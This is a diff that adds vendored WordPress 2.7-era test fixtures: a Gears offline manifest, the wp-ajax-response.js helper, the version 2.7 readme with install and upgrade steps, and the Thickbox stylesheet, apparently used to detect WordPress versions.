{ "url" : "images/align-center.png" },
|
||||
{ "url" : "images/align-left.png" },
|
||||
{ "url" : "images/align-none.png" },
|
||||
{ "url" : "images/align-right.png" },
|
||||
{ "url" : "images/archive-link.png" },
|
||||
{ "url" : "images/blue-grad.png" },
|
||||
{ "url" : "images/browse-happy.gif" },
|
||||
{ "url" : "images/bubble_bg.gif" },
|
||||
{ "url" : "images/bubble_bg-rtl.gif" },
|
||||
{ "url" : "images/button-grad.png" },
|
||||
{ "url" : "images/button-grad-active.png" },
|
||||
{ "url" : "images/comment-grey-bubble.png" },
|
||||
{ "url" : "images/date-button.gif" },
|
||||
{ "url" : "images/ed-bg.gif" },
|
||||
{ "url" : "images/fade-butt.png" },
|
||||
{ "url" : "images/fav.png" },
|
||||
{ "url" : "images/fav-arrow.gif" },
|
||||
{ "url" : "images/fav-arrow-rtl.gif" },
|
||||
{ "url" : "images/fav-top.png" },
|
||||
{ "url" : "images/generic.png" },
|
||||
{ "url" : "images/gray-grad.png" },
|
||||
{ "url" : "images/icons32.png" },
|
||||
{ "url" : "images/icons32-vs.png" },
|
||||
{ "url" : "images/list.png" },
|
||||
{ "url" : "images/list-vs.png" },
|
||||
{ "url" : "images/loading.gif" },
|
||||
{ "url" : "images/loading-publish.gif" },
|
||||
{ "url" : "images/logo.gif" },
|
||||
{ "url" : "images/logo-ghost.png" },
|
||||
{ "url" : "images/logo-login.gif" },
|
||||
{ "url" : "images/media-button-image.gif" },
|
||||
{ "url" : "images/media-button-music.gif" },
|
||||
{ "url" : "images/media-button-other.gif" },
|
||||
{ "url" : "images/media-button-video.gif" },
|
||||
{ "url" : "images/menu.png" },
|
||||
{ "url" : "images/menu-vs.png" },
|
||||
{ "url" : "images/menu-arrows.gif" },
|
||||
{ "url" : "images/menu-bits.gif" },
|
||||
{ "url" : "images/menu-bits-rtl.gif" },
|
||||
{ "url" : "images/menu-dark.gif" },
|
||||
{ "url" : "images/menu-dark-rtl.gif" },
|
||||
{ "url" : "images/no.png" },
|
||||
{ "url" : "images/required.gif" },
|
||||
{ "url" : "images/resize.gif" },
|
||||
{ "url" : "images/screen-options-left.gif" },
|
||||
{ "url" : "images/screen-options-right.gif" },
|
||||
{ "url" : "images/screen-options-right-up.gif" },
|
||||
{ "url" : "images/se.png" },
|
||||
{ "url" : "images/star.gif" },
|
||||
{ "url" : "images/toggle-arrow.gif" },
|
||||
{ "url" : "images/toggle-arrow-rtl.gif" },
|
||||
{ "url" : "images/white-grad.png" },
|
||||
{ "url" : "images/white-grad-active.png" },
|
||||
{ "url" : "images/wordpress-logo.png" },
|
||||
{ "url" : "images/wp-logo.gif" },
|
||||
{ "url" : "images/xit.gif" },
|
||||
{ "url" : "images/yes.png" },
|
||||
|
||||
|
||||
{ "url" : "../wp-includes/images/crystal/archive.png" },
|
||||
{ "url" : "../wp-includes/images/crystal/audio.png" },
|
||||
{ "url" : "../wp-includes/images/crystal/code.png" },
|
||||
{ "url" : "../wp-includes/images/crystal/default.png" },
|
||||
{ "url" : "../wp-includes/images/crystal/document.png" },
|
||||
{ "url" : "../wp-includes/images/crystal/interactive.png" },
|
||||
{ "url" : "../wp-includes/images/crystal/text.png" },
|
||||
{ "url" : "../wp-includes/images/crystal/video.png" },
|
||||
{ "url" : "../wp-includes/images/crystal/spreadsheet.png" },
|
||||
{ "url" : "../wp-includes/images/rss.png" },
|
||||
{ "url" : "../wp-includes/js/thickbox/loadingAnimation.gif" },
|
||||
{ "url" : "../wp-includes/js/thickbox/tb-close.png" }
|
||||
]}
|
||||
60
spec/fixtures/wp_versions/2.7.1/wp-includes/js/wp-ajax-response.js
vendored
Executable file
60
spec/fixtures/wp_versions/2.7.1/wp-includes/js/wp-ajax-response.js
vendored
Executable file
@@ -0,0 +1,60 @@
|
||||
var wpAjax = jQuery.extend( {
|
||||
unserialize: function( s ) {
|
||||
var r = {}; if ( !s ) { return r; }
|
||||
var q = s.split('?'); if ( q[1] ) { s = q[1]; }
|
||||
var pp = s.split('&');
|
||||
for ( var i in pp ) {
|
||||
if ( jQuery.isFunction(pp.hasOwnProperty) && !pp.hasOwnProperty(i) ) { continue; }
|
||||
var p = pp[i].split('=');
|
||||
r[p[0]] = p[1];
|
||||
}
|
||||
return r;
|
||||
},
|
||||
parseAjaxResponse: function( x, r, e ) { // 1 = good, 0 = strange (bad data?), -1 = you lack permission
|
||||
var parsed = {};
|
||||
var re = jQuery('#' + r).html('');
|
||||
if ( x && typeof x == 'object' && x.getElementsByTagName('wp_ajax') ) {
|
||||
parsed.responses = [];
|
||||
parsed.errors = false;
|
||||
var err = '';
|
||||
jQuery('response', x).each( function() {
|
||||
var th = jQuery(this);
|
||||
var child = jQuery(this.firstChild);
|
||||
var response = { action: th.attr('action'), what: child.get(0).nodeName, id: child.attr('id'), oldId: child.attr('old_id'), position: child.attr('position') };
|
||||
response.data = jQuery( 'response_data', child ).text();
|
||||
response.supplemental = {};
|
||||
if ( !jQuery( 'supplemental', child ).children().each( function() {
|
||||
response.supplemental[this.nodeName] = jQuery(this).text();
|
||||
} ).size() ) { response.supplemental = false }
|
||||
response.errors = [];
|
||||
if ( !jQuery('wp_error', child).each( function() {
|
||||
var code = jQuery(this).attr('code');
|
||||
var anError = { code: code, message: this.firstChild.nodeValue, data: false };
|
||||
var errorData = jQuery('wp_error_data[code="' + code + '"]', x);
|
||||
if ( errorData ) { anError.data = errorData.get(); }
|
||||
var formField = jQuery( 'form-field', errorData ).text();
|
||||
if ( formField ) { code = formField; }
|
||||
if ( e ) { wpAjax.invalidateForm( jQuery('#' + e + ' :input[name="' + code + '"]' ).parents('.form-field:first') ); }
|
||||
err += '<p>' + anError.message + '</p>';
|
||||
response.errors.push( anError );
|
||||
parsed.errors = true;
|
||||
} ).size() ) { response.errors = false; }
|
||||
parsed.responses.push( response );
|
||||
} );
|
||||
if ( err.length ) { re.html( '<div class="error">' + err + '</div>' ); }
|
||||
return parsed;
|
||||
}
|
||||
if ( isNaN(x) ) { return !re.html('<div class="error"><p>' + x + '</p></div>'); }
|
||||
x = parseInt(x,10);
|
||||
if ( -1 == x ) { return !re.html('<div class="error"><p>' + wpAjax.noPerm + '</p></div>'); }
|
||||
else if ( 0 === x ) { return !re.html('<div class="error"><p>' + wpAjax.broken + '</p></div>'); }
|
||||
return true;
|
||||
},
|
||||
invalidateForm: function ( selector ) {
|
||||
return jQuery( selector ).addClass( 'form-invalid' ).change( function() { jQuery(this).removeClass( 'form-invalid' ); } );
|
||||
},
|
||||
validateForm: function( selector ) {
|
||||
selector = jQuery( selector );
|
||||
return !wpAjax.invalidateForm( selector.find('.form-required').andSelf().filter('.form-required:has(:input[value=""]), .form-required:input[value=""]') ).size();
|
||||
}
|
||||
}, wpAjax || { noPerm: 'You do not have permission to do that.', broken: 'An unidentified error has occurred.' } );
|
||||
91
spec/fixtures/wp_versions/2.7/readme.html
vendored
Executable file
91
spec/fixtures/wp_versions/2.7/readme.html
vendored
Executable file
@@ -0,0 +1,91 @@
|
||||
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
|
||||
<html xmlns="http://www.w3.org/1999/xhtml">
|
||||
<head>
|
||||
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
|
||||
<title>WordPress › ReadMe</title>
|
||||
<link rel="stylesheet" href="wp-admin/css/install.css" type="text/css" />
|
||||
</head>
|
||||
<body>
|
||||
<h1 id="logo" style="text-align: center">
|
||||
<img alt="WordPress" src="wp-admin/images/wordpress-logo.png" />
|
||||
<br /> Version 2.7
|
||||
</h1>
|
||||
<p style="text-align: center">Semantic Personal Publishing Platform</p>
|
||||
|
||||
<h1>First Things First</h1>
|
||||
<p>Welcome. WordPress is a very special project to me. Every developer and contributor adds something unique to the mix, and together we create something beautiful that I'm proud to be a part of. Thousands of hours have gone into WordPress, and we're dedicated to making it better every day. Thank you for making it part of your world.</p>
|
||||
<p style="text-align: right;">— Matt Mullenweg</p>
|
||||
|
||||
<h1>Installation: Famous 5-minute install</h1>
|
||||
<ol>
|
||||
<li>Unzip the package in an empty directory.</li>
|
||||
<li>Open up <code>wp-config-sample.php</code> with a text editor like WordPad or similar and fill in your database connection details.</li>
|
||||
<li>Save the file as <code>wp-config.php</code></li>
|
||||
<li>Upload everything.</li>
|
||||
<li>Open <span class="file"><a href="wp-admin/install.php">/wp-admin/install.php</a></span> in your browser. This should setup the tables needed for your blog. If there is an error, double check your <span class="file">wp-config.php</span> file, and try again. If it fails again, please go to the <a href="http://wordpress.org/support/">support forums</a> with as much data as you can gather.</li>
|
||||
<li><strong>Note the password given to you.</strong></li>
|
||||
<li> The install script should then send you to the <a href="wp-login.php">login page</a>. Sign in with the username <code>admin</code> and the password generated during the installation. You can then click on 'Profile' to change the password.</li>
|
||||
</ol>
|
||||
|
||||
<h1>Upgrading</h1>
|
||||
<p>Before you upgrade anything, make sure you have backup copies of any files you may have modified such as <code>index.php</code>.</p>
|
||||
<h2>Upgrading from any previous WordPress to 2.7:</h2>
|
||||
<ol>
|
||||
<li>Delete your old WP files, saving ones you've modified.</li>
|
||||
<li>Upload the new files.</li>
|
||||
<li>Point your browser to <span class="file"><a href="wp-admin/upgrade.php">/wp-admin/upgrade.php</a>.</span></li>
|
||||
<li>You wanted more, perhaps? That's it!</li>
|
||||
</ol>
|
||||
<h2>Template Changes</h2>
|
||||
<p>If you have customized your templates you will probably have to make some changes to them. If you're converting your 1.2 or earlier templates, <a href="http://codex.wordpress.org/Upgrade_1.2_to_1.5">we've created a special guide for you</a>. </p>
|
||||
|
||||
<h1>Online Resources</h1>
|
||||
<p>If you have any questions that aren't addressed in this document, please take advantage of WordPress' numerous online resources:</p>
|
||||
<dl>
|
||||
<dt><a href="http://codex.wordpress.org/">The WordPress Codex </a></dt>
|
||||
<dd>The Codex is the encyclopedia of all things WordPress. It is the most comprehensive source of information for WordPress available.</dd>
|
||||
<dt><a href="http://wordpress.org/development/">The Development Blog</a></dt>
|
||||
<dd>This is where you'll find the latest updates and news related to WordPress. Bookmark and check often.</dd>
|
||||
<dt><a href="http://planet.wordpress.org/">WordPress Planet </a></dt>
|
||||
<dd>The WordPress Planet is a news aggregator that brings together posts from WordPress blogs around the web.</dd>
|
||||
<dt><a href="http://wordpress.org/support/">WordPress Support Forums</a></dt>
|
||||
<dd>If you've looked everywhere and still can't find an answer, the support forums are very active and have a large community ready to help. To help them help you be sure to use a descriptive thread title and describe your question in as much detail as possible.</dd>
|
||||
<dt><a href="http://codex.wordpress.org/IRC">WordPress IRC Channel</a></dt>
|
||||
<dd>Finally, there is an online chat channel that is used for discussion among people who use WordPress and occasionally support topics. The above wiki page should point you in the right direction. (<a href="irc://irc.freenode.net/wordpress">irc.freenode.net #wordpress</a>)</dd>
|
||||
</dl>
|
||||
|
||||
<h1>System Recommendations</h1>
|
||||
<ul>
|
||||
<li>PHP version <strong>4.3</strong> or higher.</li>
|
||||
<li>MySQL version <strong>4.0</strong> or higher.</li>
|
||||
<li>... and a link to <a href="http://wordpress.org/">http://wordpress.org</a> on your site.</li>
|
||||
</ul>
|
||||
<p>WordPress is the official continuation of <a href="http://cafelog.com/">b2/cafélog</a>, which came from Michel V. The work has been continued by the <a href="http://wordpress.org/about/">WordPress developers</a>. If you would like to support WordPress, please consider <a href="http://wordpress.org/donate/">donating</a>.</p>
|
||||
|
||||
<h1>Upgrading from another system</h1>
|
||||
<p>WordPress can <a href="http://codex.wordpress.org/Importing_Content">import from a number of systems</a>. First you need to get WordPress installed and working as described above.</p>
|
||||
|
||||
<h1>XML-RPC and Atom Interface</h1>
|
||||
<p>You can now post to your WordPress blog with tools like <a href="http://windowslivewriter.spaces.live.com/">Windows Live Writer</a>, <a href="http://ecto.kung-foo.tv/">Ecto</a>, <a href="http://bloggar.com/">Bloggar</a>, <a href="http://radio.userland.com">Radio Userland</a> (which means you can use Radio's email-to-blog feature), <a href="http://www.newzcrawler.com/">NewzCrawler</a>, and other tools that support the Blogging APIs! :) You can read more about <a href="http://codex.wordpress.org/XML-RPC_Support">XML-RPC support on the Codex</a>.</p>
|
||||
|
||||
<h1>Post via Email</h1>
|
||||
<p>You can post from an email client! To set this up go to your "Writing" options screen and fill in the connection details for your secret POP3 account. Then you need to set up <code>wp-mail.php</code> to execute periodically to check the mailbox for new posts. You can do it with Cron-jobs, or if your host doesn't support it you can look into the various website-monitoring services, and make them check your <code>wp-mail.php</code> URL.</p>
|
||||
<p>Posting is easy: Any email sent to the address you specify will be posted, with the subject as the title. It is best to keep the address discrete. The script will <em>delete</em> emails that are successfully posted.</p>
|
||||
|
||||
<h1>User Roles</h1>
|
||||
<p>We've eliminated user levels in order to make way for the much more flexible roles system introduced in 2.0. You can <a href="http://codex.wordpress.org/Roles_and_Capabilities">read more about Roles and Capabilities on the Codex</a>.</p>
|
||||
|
||||
<h1> Final notes</h1>
|
||||
<ul>
|
||||
<li>If you have any suggestions, ideas, comments, or if you (gasp!) found a bug, join us in the <a href="http://wordpress.org/support/">Support Forums</a>.</li>
|
||||
<li>WordPress now has a robust plugin API that makes extending the code easy. If you are a developer interested in utilizing this see the <a href="http://codex.wordpress.org/Plugin_API">plugin documentation in the Codex</a>. In most all cases you shouldn't modify any of the core code.</li>
|
||||
</ul>
|
||||
|
||||
<h1>Share the Love</h1>
|
||||
<p>WordPress has no multi-million dollar marketing campaign or celebrity sponsors, but we do have something even better—you. If you enjoy WordPress please consider telling a friend, setting it up for someone less knowledgable than yourself, or writing the author of a media article that overlooks us.</p>
|
||||
|
||||
<h1>Copyright</h1>
|
||||
<p>WordPress is released under the <abbr title="GNU Public License">GPL</abbr> (see <a href="license.txt">license.txt</a>).</p>
|
||||
|
||||
</body>
|
||||
</html>
|
||||
172
spec/fixtures/wp_versions/2.7/wp-admin/gears-manifest.php
vendored
Normal file
172
spec/fixtures/wp_versions/2.7/wp-admin/gears-manifest.php
vendored
Normal file
@@ -0,0 +1,172 @@
|
||||
{
|
||||
"betaManifestVersion" : 1,
|
||||
"version" : "c15b142b7f4676d28007b378f3d92e3a_20081201",
|
||||
"entries" : [
|
||||
{ "url" : "js/common.js?ver=20081210" },
|
||||
{ "url" : "../wp-includes/js/tw-sack.js?ver=1.6.1" },
|
||||
{ "url" : "../wp-includes/js/quicktags.js?ver=20081210" },
|
||||
{ "url" : "../wp-includes/js/colorpicker.js?ver=3517" },
|
||||
{ "url" : "js/editor.js?ver=20081129" },
|
||||
{ "url" : "../wp-includes/js/prototype.js?ver=1.6" },
|
||||
{ "url" : "../wp-includes/js/wp-ajax-response.js?ver=20081210" },
|
||||
{ "url" : "../wp-includes/js/autosave.js?ver=20081210" },
|
||||
{ "url" : "../wp-includes/js/wp-lists.js?ver=20081210" },
|
||||
{ "url" : "../wp-includes/js/scriptaculous/wp-scriptaculous.js?ver=1.8.0" },
|
||||
{ "url" : "../wp-includes/js/scriptaculous/builder.js?ver=1.8.0" },
|
||||
{ "url" : "../wp-includes/js/scriptaculous/dragdrop.js?ver=1.8.0" },
|
||||
{ "url" : "../wp-includes/js/scriptaculous/effects.js?ver=1.8.0" },
|
||||
{ "url" : "../wp-includes/js/scriptaculous/slider.js?ver=1.8.0" },
|
||||
{ "url" : "../wp-includes/js/scriptaculous/sound.js?ver=1.8.0" },
|
||||
{ "url" : "../wp-includes/js/scriptaculous/controls.js?ver=1.8.0" },
|
||||
{ "url" : "../wp-includes/js/crop/cropper.js?ver=20070118" },
|
||||
{ "url" : "../wp-includes/js/jquery/jquery.js?ver=1.2.6" },
|
||||
{ "url" : "../wp-includes/js/jquery/jquery.form.js?ver=2.02" },
|
||||
{ "url" : "../wp-includes/js/jquery/jquery.color.js?ver=2.0-4561" },
|
||||
{ "url" : "../wp-includes/js/jquery/interface.js?ver=1.2" },
|
||||
{ "url" : "../wp-includes/js/jquery/suggest.js?ver=1.1b" },
|
||||
{ "url" : "../wp-includes/js/jquery/jquery.schedule.js?ver=20" },
|
||||
{ "url" : "../wp-includes/js/jquery/jquery.hotkeys.js?ver=0.0.2" },
|
||||
{ "url" : "../wp-includes/js/jquery/jquery.table-hotkeys.js?ver=20081128" },
|
||||
{ "url" : "../wp-includes/js/thickbox/thickbox.js?ver=3.1-20080430" },
|
||||
{ "url" : "../wp-includes/js/swfupload/swfupload.js?ver=2.2.0-20081031" },
|
||||
{ "url" : "../wp-includes/js/swfupload/plugins/swfupload.graceful_degradation.js?ver=2.2.0-20081031" },
|
||||
{ "url" : "../wp-includes/js/swfupload/plugins/swfupload.swfobject.js?ver=2.2.0-20081031" },
|
||||
{ "url" : "../wp-includes/js/swfupload/plugins/swfupload.queue.js?ver=2.2.0-20081031" },
|
||||
{ "url" : "../wp-includes/js/swfupload/handlers.js?ver=2.2.0-20081201" },
|
||||
{ "url" : "../wp-includes/js/jquery/ui.core.js?ver=1.5.2" },
|
||||
{ "url" : "../wp-includes/js/jquery/ui.tabs.js?ver=1.5.2" },
|
||||
{ "url" : "../wp-includes/js/jquery/ui.sortable.js?ver=1.5.2c" },
|
||||
{ "url" : "../wp-includes/js/jquery/ui.draggable.js?ver=1.5.2" },
|
||||
{ "url" : "../wp-includes/js/jquery/ui.resizable.js?ver=1.5.2" },
|
||||
{ "url" : "../wp-includes/js/jquery/ui.dialog.js?ver=1.5.2" },
|
||||
{ "url" : "../wp-includes/js/comment-reply.js?ver=20081210" },
|
||||
{ "url" : "js/cat.js?ver=20081210" },
|
||||
{ "url" : "js/categories.js?ver=20081210" },
|
||||
{ "url" : "js/tags.js?ver=20081210" },
|
||||
{ "url" : "js/custom-fields.js?ver=20081210" },
|
||||
{ "url" : "js/password-strength-meter.js?ver=20081210" },
|
||||
{ "url" : "js/edit-comments.js?ver=20081210" },
|
||||
{ "url" : "js/users.js?ver=20081210" },
|
||||
{ "url" : "js/xfn.js?ver=3517" },
|
||||
{ "url" : "js/postbox.js?ver=20081210" },
|
||||
{ "url" : "js/slug.js?ver=20081210" },
|
||||
{ "url" : "js/post.js?ver=20081210" },
|
||||
{ "url" : "js/page.js?ver=20081210" },
|
||||
{ "url" : "js/link.js?ver=20081210" },
|
||||
{ "url" : "js/comment.js?ver=20081210" },
|
||||
{ "url" : "js/gallery.js?ver=20081210" },
|
||||
{ "url" : "js/media-upload.js?ver=20081210" },
|
||||
{ "url" : "js/widgets.js?ver=20081210" },
|
||||
{ "url" : "js/word-count.js?ver=20081210" },
|
||||
{ "url" : "js/wp-gears.js?ver=20081210" },
|
||||
{ "url" : "js/theme-preview.js?ver=20081210" },
|
||||
{ "url" : "js/inline-edit-post.js?ver=20081210" },
|
||||
{ "url" : "js/inline-edit-tax.js?ver=20081210" },
|
||||
{ "url" : "js/plugin-install.js?ver=20081210" },
|
||||
{ "url" : "js/farbtastic.js?ver=1.2" },
|
||||
{ "url" : "js/dashboard.js?ver=20081210" },
|
||||
{ "url" : "../wp-includes/js/hoverIntent.js?ver=20081210" },
|
||||
{ "url" : "wp-admin.css?ver=20081210" },
|
||||
{ "url" : "rtl.css?ver=20081210" },
|
||||
{ "url" : "css/ie.css?ver=20081210" },
|
||||
{ "url" : "css/ie-rtl.css?ver=20081210" },
|
||||
{ "url" : "css/colors-classic.css?ver=20081210" },
|
||||
{ "url" : "css/colors-classic-rtl.css?ver=20081210" },
|
||||
{ "url" : "css/colors-fresh.css?ver=20081210" },
|
||||
{ "url" : "css/colors-fresh-rtl.css?ver=20081210" },
|
||||
{ "url" : "css/colors-classic.css?ver=20081210" },
|
||||
{ "url" : "css/colors-classic-rtl.css?ver=20081210" },
|
||||
{ "url" : "css/global.css?ver=20081210" },
|
||||
{ "url" : "css/global-rtl.css?ver=20081210" },
|
||||
{ "url" : "css/media.css?ver=20081210" },
|
||||
{ "url" : "css/media-rtl.css?ver=20081210" },
|
||||
{ "url" : "css/widgets.css?ver=20081210" },
|
||||
{ "url" : "css/widgets-rtl.css?ver=20081210" },
|
||||
{ "url" : "css/dashboard.css?ver=20081210" },
|
||||
{ "url" : "css/dashboard-rtl.css?ver=20081210" },
|
||||
{ "url" : "css/install.css?ver=20081210" },
|
||||
{ "url" : "css/install-rtl.css?ver=20081210" },
|
||||
{ "url" : "css/theme-editor.css?ver=20081210" },
|
||||
{ "url" : "css/theme-editor-rtl.css?ver=20081210" },
|
||||
{ "url" : "css/press-this.css?ver=20081210" },
|
||||
{ "url" : "css/press-this-rtl.css?ver=20081210" },
|
||||
{ "url" : "../wp-includes/js/thickbox/thickbox.css?ver=20081210" },
|
||||
{ "url" : "css/login.css?ver=20081210" },
|
||||
{ "url" : "css/login-rtl.css?ver=20081210" },
|
||||
{ "url" : "css/plugin-install.css?ver=20081210" },
|
||||
{ "url" : "css/plugin-install-rtl.css?ver=20081210" },
|
||||
{ "url" : "css/farbtastic.css?ver=1.2" },
|
||||
{ "url" : "css/farbtastic-rtl.css?ver=1.2" },
|
||||
|
||||
{ "url" : "images/align-center.png" },
|
||||
{ "url" : "images/align-left.png" },
|
||||
{ "url" : "images/align-none.png" },
|
||||
{ "url" : "images/align-right.png" },
|
||||
{ "url" : "images/archive-link.png" },
|
||||
{ "url" : "images/blue-grad.png" },
|
||||
{ "url" : "images/browse-happy.gif" },
|
||||
{ "url" : "images/bubble_bg.gif" },
|
||||
{ "url" : "images/bubble_bg-rtl.gif" },
|
||||
{ "url" : "images/button-grad.png" },
|
||||
{ "url" : "images/button-grad-active.png" },
|
||||
{ "url" : "images/comment-grey-bubble.png" },
|
||||
{ "url" : "images/date-button.gif" },
|
||||
{ "url" : "images/ed-bg.gif" },
|
||||
{ "url" : "images/fade-butt.png" },
|
||||
{ "url" : "images/fav.png" },
|
||||
{ "url" : "images/fav-arrow.gif" },
|
||||
{ "url" : "images/fav-arrow-rtl.gif" },
|
||||
{ "url" : "images/fav-top.png" },
|
||||
{ "url" : "images/generic.png" },
|
||||
{ "url" : "images/gray-grad.png" },
|
||||
{ "url" : "images/icons32.png" },
|
||||
{ "url" : "images/icons32-vs.png" },
|
||||
{ "url" : "images/list.png" },
|
||||
{ "url" : "images/list-vs.png" },
|
||||
{ "url" : "images/loading.gif" },
|
||||
{ "url" : "images/loading-publish.gif" },
|
||||
{ "url" : "images/logo.gif" },
|
||||
{ "url" : "images/logo-ghost.png" },
|
||||
{ "url" : "images/logo-login.gif" },
|
||||
{ "url" : "images/media-button-image.gif" },
|
||||
{ "url" : "images/media-button-music.gif" },
|
||||
{ "url" : "images/media-button-other.gif" },
|
||||
{ "url" : "images/media-button-video.gif" },
|
||||
{ "url" : "images/menu.png" },
|
||||
{ "url" : "images/menu-vs.png" },
|
||||
{ "url" : "images/menu-arrows.gif" },
|
||||
{ "url" : "images/menu-bits.gif" },
|
||||
{ "url" : "images/menu-bits-rtl.gif" },
|
||||
{ "url" : "images/menu-dark.gif" },
|
||||
{ "url" : "images/menu-dark-rtl.gif" },
|
||||
{ "url" : "images/no.png" },
|
||||
{ "url" : "images/required.gif" },
|
||||
{ "url" : "images/resize.gif" },
|
||||
{ "url" : "images/screen-options-left.gif" },
|
||||
{ "url" : "images/screen-options-right.gif" },
|
||||
{ "url" : "images/screen-options-right-up.gif" },
|
||||
{ "url" : "images/se.png" },
|
||||
{ "url" : "images/star.gif" },
|
||||
{ "url" : "images/toggle-arrow.gif" },
|
||||
{ "url" : "images/toggle-arrow-rtl.gif" },
|
||||
{ "url" : "images/white-grad.png" },
|
||||
{ "url" : "images/white-grad-active.png" },
|
||||
{ "url" : "images/wordpress-logo.png" },
|
||||
{ "url" : "images/wp-logo.gif" },
|
||||
{ "url" : "images/xit.gif" },
|
||||
{ "url" : "images/yes.png" },
|
||||
|
||||
|
||||
{ "url" : "../wp-includes/images/crystal/archive.png" },
|
||||
{ "url" : "../wp-includes/images/crystal/audio.png" },
|
||||
{ "url" : "../wp-includes/images/crystal/code.png" },
|
||||
{ "url" : "../wp-includes/images/crystal/default.png" },
|
||||
{ "url" : "../wp-includes/images/crystal/document.png" },
|
||||
{ "url" : "../wp-includes/images/crystal/interactive.png" },
|
||||
{ "url" : "../wp-includes/images/crystal/text.png" },
|
||||
{ "url" : "../wp-includes/images/crystal/video.png" },
|
||||
{ "url" : "../wp-includes/images/crystal/spreadsheet.png" },
|
||||
{ "url" : "../wp-includes/images/rss.png" },
|
||||
{ "url" : "../wp-includes/js/thickbox/loadingAnimation.gif" },
|
||||
{ "url" : "../wp-includes/js/thickbox/tb-close.png" }
|
||||
]}
|
||||
161
spec/fixtures/wp_versions/2.7/wp-includes/js/thickbox/thickbox.css
vendored
Executable file
161
spec/fixtures/wp_versions/2.7/wp-includes/js/thickbox/thickbox.css
vendored
Executable file
@@ -0,0 +1,161 @@
|
||||
|
||||
/* ----------------------------------------------------------------------------------------------------------------*/
|
||||
/* ---------->>> thickbox specific link and font settings <<<------------------------------------------------------*/
|
||||
/* ----------------------------------------------------------------------------------------------------------------*/
|
||||
#TB_window {
|
||||
font: 12px "Lucida Grande", Verdana, Arial, sans-serif;
|
||||
color: #333333;
|
||||
}
|
||||
|
||||
#TB_secondLine {
|
||||
font: 10px "Lucida Grande", Verdana, Arial, sans-serif;
|
||||
color:#666666;
|
||||
}
|
||||
|
||||
#TB_window a:link {color: #666666;}
|
||||
#TB_window a:visited {color: #666666;}
|
||||
#TB_window a:hover {color: #000;}
|
||||
#TB_window a:active {color: #666666;}
|
||||
#TB_window a:focus{color: #666666;}
|
||||
|
||||
/* ----------------------------------------------------------------------------------------------------------------*/
|
||||
/* ---------->>> thickbox settings <<<-----------------------------------------------------------------------------*/
|
||||
/* ----------------------------------------------------------------------------------------------------------------*/
|
||||
#TB_overlay {
|
||||
position: fixed;
|
||||
z-index:100;
|
||||
top: 0px;
|
||||
left: 0px;
|
||||
height:100%;
|
||||
width:100%;
|
||||
}
|
||||
|
||||
.TB_overlayMacFFBGHack {background: url(macFFBgHack.png) repeat;}
|
||||
.TB_overlayBG {
|
||||
background-color:#000;
|
||||
filter:alpha(opacity=75);
|
||||
-moz-opacity: 0.75;
|
||||
opacity: 0.75;
|
||||
}
|
||||
|
||||
* html #TB_overlay { /* ie6 hack */
|
||||
position: absolute;
|
||||
height: expression(document.body.scrollHeight > document.body.offsetHeight ? document.body.scrollHeight : document.body.offsetHeight + 'px');
|
||||
}
|
||||
|
||||
#TB_window {
|
||||
position: fixed;
|
||||
background: #ffffff;
|
||||
z-index: 102;
|
||||
color:#000000;
|
||||
display:none;
|
||||
text-align:left;
|
||||
top:50%;
|
||||
left:50%;
|
||||
border: 1px solid #555;
|
||||
-moz-box-shadow: rgba(0,0,0,1) 0 4px 30px;
|
||||
-webkit-box-shadow: rgba(0,0,0,1) 0 4px 30px;
|
||||
-khtml-box-shadow: rgba(0,0,0,1) 0 4px 30px;
|
||||
box-shadow: rgba(0,0,0,1) 0 4px 30px;
|
||||
}
|
||||
|
||||
* html #TB_window { /* ie6 hack */
|
||||
position: absolute;
|
||||
margin-top: expression(0 - parseInt(this.offsetHeight / 2) + (TBWindowMargin = document.documentElement && document.documentElement.scrollTop || document.body.scrollTop) + 'px');
|
||||
}
|
||||
|
||||
#TB_window img#TB_Image {
|
||||
display:block;
|
||||
margin: 15px 0 0 15px;
|
||||
border-right: 1px solid #ccc;
|
||||
border-bottom: 1px solid #ccc;
|
||||
border-top: 1px solid #666;
|
||||
border-left: 1px solid #666;
|
||||
}
|
||||
|
||||
#TB_caption{
|
||||
height:25px;
|
||||
padding:7px 30px 10px 25px;
|
||||
float:left;
|
||||
}
|
||||
|
||||
#TB_closeWindow{
|
||||
height:25px;
|
||||
padding:11px 25px 10px 0;
|
||||
float:right;
|
||||
}
|
||||
|
||||
#TB_closeAjaxWindow{
|
||||
padding:6px 10px 0;
|
||||
text-align:right;
|
||||
float:right;
|
||||
}
|
||||
|
||||
#TB_ajaxWindowTitle{
|
||||
float:left;
|
||||
padding:6px 10px 0;
|
||||
}
|
||||
|
||||
#TB_title{
|
||||
background-color:#e8e8e8;
|
||||
height:27px;
|
||||
}
|
||||
|
||||
#TB_ajaxContent{
|
||||
clear:both;
|
||||
padding:2px 15px 15px 15px;
|
||||
overflow:auto;
|
||||
text-align:left;
|
||||
line-height:1.4em;
|
||||
}
|
||||
|
||||
#TB_ajaxContent.TB_modal{
|
||||
padding:15px;
|
||||
}
|
||||
|
||||
#TB_ajaxContent p{
|
||||
padding:5px 0px 5px 0px;
|
||||
}
|
||||
|
||||
#TB_load{
|
||||
position: fixed;
|
||||
display:none;
|
||||
z-index:103;
|
||||
top: 50%;
|
||||
left: 50%;
|
||||
background-color: #E8E8E8;
|
||||
border: 1px solid #555;
|
||||
margin: -45px 0pt 0pt -125px;
|
||||
padding: 40px 15px 15px;
|
||||
}
|
||||
|
||||
* html #TB_load { /* ie6 hack */
|
||||
position: absolute;
|
||||
margin-top: expression(0 - parseInt(this.offsetHeight / 2) + (TBWindowMargin = document.documentElement && document.documentElement.scrollTop || document.body.scrollTop) + 'px');
|
||||
}
|
||||
|
||||
#TB_HideSelect{
|
||||
z-index:99;
|
||||
position:fixed;
|
||||
top: 0;
|
||||
left: 0;
|
||||
background-color:#fff;
|
||||
border:none;
|
||||
filter:alpha(opacity=0);
|
||||
-moz-opacity: 0;
|
||||
opacity: 0;
|
||||
height:100%;
|
||||
width:100%;
|
||||
}
|
||||
|
||||
* html #TB_HideSelect { /* ie6 hack */
|
||||
position: absolute;
|
||||
height: expression(document.body.scrollHeight > document.body.offsetHeight ? document.body.scrollHeight : document.body.offsetHeight + 'px');
|
||||
}
|
||||
|
||||
#TB_iframeContent{
|
||||
clear:both;
|
||||
border:none;
|
||||
margin-bottom:-1px;
|
||||
_margin-bottom:1px;
|
||||
}
|
||||
91
spec/fixtures/wp_versions/2.8.2/readme.html
vendored
Executable file
91
